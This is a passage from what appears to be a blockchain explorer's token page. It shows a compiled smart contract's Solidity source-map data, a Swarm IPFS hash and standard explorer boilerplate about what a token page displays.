;;;;:::o;15550:191::-;15590:3;15609:20;15627:1;15609:20;:::i;:::-;15604:25;;15643:20;15661:1;15643:20;:::i;:::-;15638:25;;15686:1;15683;15679:9;15672:16;;15707:3;15704:1;15701:10;15698:36;;;15714:18;;:::i;:::-;15698:36;15550:191;;;;:::o;15747:177::-;15887:29;15883:1;15875:6;15871:14;15864:53;15747:177;:::o;15930:366::-;16072:3;16093:67;16157:2;16152:3;16093:67;:::i;:::-;16086:74;;16169:93;16258:3;16169:93;:::i;:::-;16287:2;16282:3;16278:12;16271:19;;15930:366;;;:::o;16302:419::-;16468:4;16506:2;16495:9;16491:18;16483:26;;16555:9;16549:4;16545:20;16541:1;16530:9;16526:17;16519:47;16583:131;16709:4;16583:131;:::i;:::-;16575:139;;16302:419;;;:::o;16727:180::-;16775:77;16772:1;16765:88;16872:4;16869:1;16862:15;16896:4;16893:1;16886:15;16913:180;16961:77;16958:1;16951:88;17058:4;17055:1;17048:15;17082:4;17079:1;17072:15;17099:143;17156:5;17187:6;17181:13;17172:22;;17203:33;17230:5;17203:33;:::i;:::-;17099:143;;;;:::o;17248:351::-;17318:6;17367:2;17355:9;17346:7;17342:23;17338:32;17335:119;;;17373:79;;:::i;:::-;17335:119;17493:1;17518:64;17574:7;17565:6;17554:9;17550:22;17518:64;:::i;:::-;17508:74;;17464:128;17248:351;;;;:::o;17605:85::-;17650:7;17679:5;17668:16;;17605:85;;;:::o;17696:158::-;17754:9;17787:61;17805:42;17814:32;17840:5;17814:32;:::i;:::-;17805:42;:::i;:::-;17787:61;:::i;:::-;17774:74;;17696:158;;;:::o;17860:147::-;17955:45;17994:5;17955:45;:::i;:::-;17950:3;17943:58;17860:147;;:::o;18013:114::-;18080:6;18114:5;18108:12;18098:22;;18013:114;;;:::o;18133:184::-;18232:11;18266:6;18261:3;18254:19;18306:4;18301:3;18297:14;18282:29;;18133:184;;;;:::o;18323:132::-;18390:4;18413:3;18405:11;;18443:4;18438:3;18434:14;18426:22;;18323:132;;;:::o;18461:108::-;18538:24;18556:5;18538:24;:::i;:::-;18533:3;18526:37;18461:108;;:::o;18575:179::-;18644:10;18665:46;18707:3;18699:6;18665:46;:::i;:::-;18743:4;18738:3;18734:14;18720:28;;18575:179;;;;:::o;18760:113::-;18830:4;18862;18857:3;18853:14;18845:22;;18760:113;;;:::o;18909:732::-;19028:3;19057:54;19105:5;19057:54;:::i;:::-;19127:86;19206:6;19201:3;19127:86;:::i;:::-;19120:93;;19237:56;19287:5;19237:56;:::i;:::-;19316:7;19347:1;19332:284;19357:6;19354:1;19351:13;19332:284;;;19433:6;19427:13;19460:63;19519:3;19504:13;19460:63;:::i;:::-;19453:70;;19546:60;19599:6;19546:60;:::i;:::-;19536:70;;19392:224;19379:1;19376;19372:9;19367:14;;19332:284;;;19336:14;19632:3;19625:10;;19033:608;;;18909:732;;;;:::o;19647:831::-;19910:4;19948:3;19937:9;19933:19;19925:27;;19962:71;20030:1;20019:9;20015:17;20006:6;19962:71;:::i;:::-;20043:80;20119:2;20108:9;20104:18;20095:6;20043:80;:::i;:::-;20170:9;20164:4;20160:20;20155:2;20144:9;20140:18;20133:48;20198:108;20301:4;20292:6;20198:108;:::i;:::-;20190:116;;20316:72;20384:2;20373:9;20369:18;20360:6;20316:72;:::i;:::-;20398:73;20466:3;20455:9;20451:19;20442:6;20398:73;:::i;:::-;19647:831;;;;;;;;:::o;20484:410::-;20524:7;20547:20;20565:1;20547:20;:::i;:::-;20542:25;;20581:20;20599:1;20581:20;:::i;:::-;20576:25;;20636:1;20633;20629:9;20658:30;20676:11;20658:30;:::i;:::-;20647:41;;20837:1;20828:7;20824:15;20821:1;20818:22;20798:1;20791:9;20771:83;20748:139;;20867:18;;:::i;:::-;20748:139;20532:362;20484:410;;;;:::o;20900:180::-;20948:77;20945:1;20938:88;21045:4;21042:1;21035:15;21069:4;21066:1;21059:15;21086:185;21126:1;21143:20;21161:1;21143:20;:::i;:::-;21138:25;;21177:20;21195:1;21177:20;:::i;:::-;21172:25;;21216:1;21206:35;;21221:18;;:::i;:::-;21206:35;21263:1;21260;21256:9;21251:14;;21086:185;;;;:::o;21277:220::-;21417:34;21413:1;21405:6;21401:14;21394:58;21486:3;21481:2;21473:6;21469:15;21462:28;21277:220;:::o;21503:366::-;21645:3;21666:67;21730:2;21725:3;21666:67;:::i;:::-;21659:74;;21742:93;21831:3;21742:93;:::i;:::-;21860:2;21855:3;21851:12;21844:19;;21503:366;;;:::o;21875:419::-;22041:4;22079:2;22068:9;22064:18;22056:26;;22128:9;22122:4;22118:20;22114:1;22103:9;22099:17;22092:47;22156:131;22282:4;22156:131;:::i;:::-;22148:139;;21875:419;;;:::o

Swarm Source

ipfs://f8ff4509ebc012e2c9c90d4e8ad9fac00c2a568a7fa42b7982eeffed7b7f52a6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.